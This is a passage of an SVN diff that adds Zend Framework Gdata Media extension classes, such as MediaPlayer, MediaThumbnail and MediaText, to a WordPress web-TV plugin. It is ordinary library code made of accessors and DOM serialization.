+     * @param string $algo
+     */
+    public function __construct($text = null, $algo = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_algo = $algo;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_algo !== null) {
+            $element->setAttribute('algo', $this->_algo);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'algo':
+            $this->_algo = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string The algo
+     */
+    public function getAlgo()
+    {
+        return $this->_algo;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaHash Provides a fluent interface
+     */
+    public function setAlgo($value)
+    {
+        $this->_algo = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaKeywords.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaKeywords.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaKeywords.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:keywords element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaKeywords extends Zend_Gdata_Extension
+{
+    protected $_rootElement = 'keywords';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * Constructs a new MediaKeywords element
+     */
+    public function __construct()
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaPlayer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaPlayer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaPlayer.php	(revision 44)
@@ -0,0 +1,177 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:player element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaPlayer extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'player';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_url = null;
+
+    /**
+     * @var int
+     */
+    protected $_width = null;
+
+    /**
+     * @var int
+     */
+    protected $_height = null;
+
+    /**
+     * Constructs a new MediaPlayer element
+     *
+     * @param string $url
+     * @param int $width
+     * @param int $height
+     */
+    public function __construct($url = null, $width = null, $height = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_url = $url;
+        $this->_width = $width;
+        $this->_height = $height;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_url !== null) {
+            $element->setAttribute('url', $this->_url);
+        }
+        if ($this->_width !== null) {
+            $element->setAttribute('width', $this->_width);
+        }
+        if ($this->_height !== null) {
+            $element->setAttribute('height', $this->_height);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'url':
+            $this->_url = $attribute->nodeValue;
+            break;
+        case 'width':
+            $this->_width = $attribute->nodeValue;
+            break;
+        case 'height':
+            $this->_height = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getUrl()
+    {
+        return $this->_url;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaPlayer Provides a fluent interface
+     */
+    public function setUrl($value)
+    {
+        $this->_url = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getWidth()
+    {
+        return $this->_width;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Media_Extension_MediaPlayer Provides a fluent interface
+     */
+    public function setWidth($value)
+    {
+        $this->_width = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getHeight()
+    {
+        return $this->_height;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Media_Extension_MediaPlayer Provides a fluent interface
+     */
+    public function setHeight($value)
+    {
+        $this->_height = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRating.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRating.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRating.php	(revision 44)
@@ -0,0 +1,117 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:rating element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaRating extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'rating';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_scheme = null;
+
+    /**
+     * Constructs a new MediaRating element
+     *
+     * @param string $text
+     * @param string $scheme
+     */
+    public function __construct($text = null, $scheme = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_scheme = $scheme;
+        $this->_text = $text;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'scheme':
+            $this->_scheme = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaRating Provides a fluent interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRestriction.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRestriction.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaRestriction.php	(revision 44)
@@ -0,0 +1,148 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:restriction element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaRestriction extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'restriction';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_relationship = null;
+
+    /**
+     * @var string
+     */
+    protected $_type = null;
+
+    /**
+     * Constructs a new MediaRestriction element
+     *
+     * @param string $text
+     * @param string $relationship
+     * @param string $type
+     */
+    public function __construct($text = null, $relationship = null,  $type = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_relationship = $relationship;
+        $this->_type = $type;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_relationship !== null) {
+            $element->setAttribute('relationship', $this->_relationship);
+        }
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'relationship':
+            $this->_relationship = $attribute->nodeValue;
+            break;
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getRelationship()
+    {
+        return $this->_relationship;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaRestriction Provides a fluent interface
+     */
+    public function setRelationship($value)
+    {
+        $this->_relationship = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaRestriction Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaText.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaText.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaText.php	(revision 44)
@@ -0,0 +1,210 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:text element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaText extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'text';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_type = null;
+
+    /**
+     * @var string
+     */
+    protected $_lang = null;
+
+    /**
+     * @var string
+     */
+    protected $_start = null;
+
+    /**
+     * @var string
+     */
+    protected $_end = null;
+
+    /**
+     * Constructs a new MediaText element
+     *
+     * @param $text string
+     * @param $type string
+     * @param $lang string
+     * @param $start string
+     * @param $end string
+     */
+    public function __construct($text = null, $type = null, $lang = null,
+            $start = null, $end = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_type = $type;
+        $this->_lang = $lang;
+        $this->_start = $start;
+        $this->_end = $end;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        if ($this->_lang !== null) {
+            $element->setAttribute('lang', $this->_lang);
+        }
+        if ($this->_start !== null) {
+            $element->setAttribute('start', $this->_start);
+        }
+        if ($this->_end !== null) {
+            $element->setAttribute('end', $this->_end);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        case 'lang':
+            $this->_lang = $attribute->nodeValue;
+            break;
+        case 'start':
+            $this->_start = $attribute->nodeValue;
+            break;
+        case 'end':
+            $this->_end = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaText Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getLang()
+    {
+        return $this->_lang;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaText Provides a fluent interface
+     */
+    public function setLang($value)
+    {
+        $this->_lang = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getStart()
+    {
+        return $this->_start;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaText Provides a fluent interface
+     */
+    public function setStart($value)
+    {
+        $this->_start = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getEnd()
+    {
+        return $this->_end;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaText Provides a fluent interface
+     */
+    public function setEnd($value)
+    {
+        $this->_end = $value;
+        return $this;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaThumbnail.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaThumbnail.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaThumbnail.php	(revision 44)
@@ -0,0 +1,209 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:thumbnail element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaThumbnail extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'thumbnail';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_url = null;
+
+    /**
+     * @var int
+     */
+    protected $_width = null;
+
+    /**
+     * @var int
+     */
+    protected $_height = null;
+
+    /**
+     * @var string
+     */
+    protected $_time = null;
+
+    /**
+     * Constructs a new MediaThumbnail element
+     *
+     * @param string $url
+     * @param int $width
+     * @param int $height
+     * @param string $time
+     */
+    public function __construct($url = null, $width = null, $height = null,
+            $time = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_url = $url;
+        $this->_width = $width;
+        $this->_height = $height;
+        $this->_time = $time ;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_url !== null) {
+            $element->setAttribute('url', $this->_url);
+        }
+        if ($this->_width !== null) {
+            $element->setAttribute('width', $this->_width);
+        }
+        if ($this->_height !== null) {
+            $element->setAttribute('height', $this->_height);
+        }
+        if ($this->_time !== null) {
+            $element->setAttribute('time', $this->_time);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'url':
+            $this->_url = $attribute->nodeValue;
+            break;
+        case 'width':
+            $this->_width = $attribute->nodeValue;
+            break;
+        case 'height':
+            $this->_height = $attribute->nodeValue;
+            break;
+        case 'time':
+            $this->_time = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getUrl()
+    {
+        return $this->_url;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail Provides a fluent interface
+     */
+    public function setUrl($value)
+    {
+        $this->_url = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getWidth()
+    {
+        return $this->_width;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail Provides a fluent interface
+     */
+    public function setWidth($value)
+    {
+        $this->_width = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getHeight()
+    {
+        return $this->_height;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail Provides a fluent interface
+     */
+    public function setHeight($value)
+    {
+        $this->_height = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getTime()
+    {
+        return $this->_time;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail Provides a fluent interface
+     */
+    public function setTime($value)
+    {
+        $this->_time = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaTitle.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaTitle.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaTitle.php	(revision 44)
@@ -0,0 +1,117 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:title element in MediaRSS
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaTitle extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'title';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_type = null;
+
+    /**
+     * Constructs a MediaTitle element
+     *
+     * @param string $text
+     * @param string $type
+     */
+    public function __construct($text = null, $type = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_type = $type;
+        $this->_text = $text;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaTitle Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Feed.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_eed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Media
+ */
+require_once 'Zend/Gdata/Media.php';
+
+/**
+ * @see Zend_Gdata_Media_Entry
+ */
+require_once 'Zend/Gdata/Media/Entry.php';
+
+/**
+ * The Gdata flavor of an Atom Feed with media support
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Feed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Media_Entry';
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/MediaMimeStream.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/MediaMimeStream.php	(revision 44)
